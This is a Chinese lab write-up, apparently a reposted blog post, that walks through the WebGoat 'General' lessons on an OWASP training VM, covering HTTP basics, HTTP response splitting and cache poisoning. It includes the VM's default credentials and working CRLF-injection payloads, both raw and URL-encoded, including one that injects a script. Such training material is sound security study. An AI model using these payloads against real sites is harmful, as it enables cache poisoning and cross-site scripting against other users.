OWASP靶机解题笔记_WebGoat_General篇

一、如何访问General

通过浏览器访问http://IP,然后在web页面点击进入OWASP WebGoat
在这里插入图片描述
点击后需输入OWASP靶机账号密码授权root/owaspbwa
在这里插入图片描述
在这里插入图片描述
点击Start WebGoat 开始你的学习之旅吧!

二、General内容介绍及解题

本次学习过程,使用Burp Suite工具代替WebScarab工具进行HTTP数据包的拦截,Burp Suite工具的使用可自行上网学习,B站也有大量的教学视频。

1、Http Basics

第一关只是为了让你熟悉WebGoat的操作,通过发送HTTP请求来查看HTTP请求包的基本信息。
在这里插入图片描述
在输入框输入,Burp Suite开启拦截,便可获得HTTP请求包数据。
在这里插入图片描述
及其HTTP响应包信息
在这里插入图片描述

2、HTTP Splitting

本题分为两个阶段。第1阶段教您如何进行HTTP拆分攻击,而第2阶段则在此基础上教您如何将HTTP拆分提升为缓存中毒。

HTTP响应拆分攻击原理:

通常情况下,http协议一个请求对应一个响应。HTTP响应头攻击把代码嵌入到用户信息中并放在HTTP头部,也发生在把用户信息和代码嵌入到重定向到的URL中,或者把脚本嵌入到cookie值或者name里。在第一条响应中,重定向的URL是HTTP响应头的一部分,第二条响应是确定cookie,cookie中的name/value是响应头中set-cookie的一部分。

关于CR/LF的字符编码:CR = %0d = /r;LF = %0a = /n

HTTP响应拆分攻击的应对措施:

◆响应拆分攻击:使用服务器端验证机制,并禁止全部用户在任何与响应头有关的输入请求中使用回车换行符(即CR/LF)。
◆XSS攻击:引入白名单、黑名单过滤机制(输入验证)以及Escape HTML(输出验证)。
◆CSRF攻击:使用AntiCsrf语言符号,这样攻击者就无法准确预测目标结构,自然也不能对其加以伪造了。

HTTP响应拆分攻击的总结:

响应拆分式攻击只能在多个用户使用相同代理服务器连接不同网站时奏效。代理服务器的缓存一旦受到感染,用户就会在从代理服务器缓存中读取该页面时遭到攻击。 不过请注意,并非所有代理服务器都在响应拆分方面存在漏洞,虽然这算是句题外话。如果大家有兴趣进一步了解这种攻击,我强烈建议大家阅读由Amit Klein撰写的精彩论文。

关于HTTP响应拆分攻击详细讲解可参考一下链接:
https://www.cnblogs.com/milantgh/p/3755276.html
https://blog.csdn.net/rainzuoshao/article/details/9088575

解题方法

在输入框输入后提交,通过Burp Suite抓包,能发现302响应重新指向的结果可由用户控制,用户可将该值设置为任何想要的内容,这特征为HTTP拆分攻击提供了可能。
在这里插入图片描述
在这里插入图片描述
因此,我们可以通过内容构建第二个响应内容:

en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 31
<html>Hello word</html>

通过URL Encode编码可得到·:

en%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2031%0A%3Chtml%3EHello%20word%3C%2Fhtml%3E

在输入框内输入内容,便实现了HTTP拆分攻击,通过抓包,能发现第二次响应的包。
在这里插入图片描述
在这里插入图片描述
返回刷新webgoat页面,出现下图内容,该题便通过了。
在这里插入图片描述
根据HTTP拆分攻击,可以尝试更加深入的测试,比如通过响应拆分实现跨站点脚本:

en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 31
<html><script>alert('Hello word')</script></html>

通过URL Encode编码后,写入输入框,发现可在拆分攻击的基础上实现XSS攻击。

在这里插入图片描述

3、 Cache Poisoning

该题为在HTTP拆分攻击的基础上进行缓存中毒。
Web缓存投毒的目的是发送导致有害响应的请求,将该响应将保存在缓存服务中并提供给其他用户。
它的攻击方式是通过X-Forwarded-Host头,发送导致有害响应的请求,该响应将保存在缓存中并提供给其他用户,其他用户访问到此页面时将不是正常页面,而是被攻击者“中毒”之后的的页面,产生的危害通常是XSS,也可能导致信息泄露。除了使用这个HTTP头来破坏缓存,还可以使用HTTP响应拆分(CRLF)和请求走私(RequestSmuggling)来完成攻击。
关于缓存中毒的详细讲解可参考:
https://www.anquanke.com/post/id/156356
https://cloud.tencent.com/developer/article/1516385

因此可在第二个响应可尝试修改标头实现效果:
– Last-Modified (通过If-Modified-Since标头进行检查)
– ETag (通过If-None-Match标头进行检查)

解题方法

在HTTP拆分的基础上,将Last-Modified修改成未来时间:

en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2025 14:50:18 GMT
Content-Length: 31
<html>Hello word</html>

将内容进行URL Encode编码,得到:

en%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202025%2014%3A50%3A18%20GMT%0AContent-Length%3A%2031%0A%3Chtml%3EHello%20word%3C%2Fhtml%3E

注意:在该题中,需要将所有的%0A替换成%0D%0A

en%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202025%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2031%0D%0A%3Chtml%3EHello%20word%3C%2Fhtml%3E

填入输入框,提交,出现下图情况,则解题成功。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/xxx_Python/article/details/106290000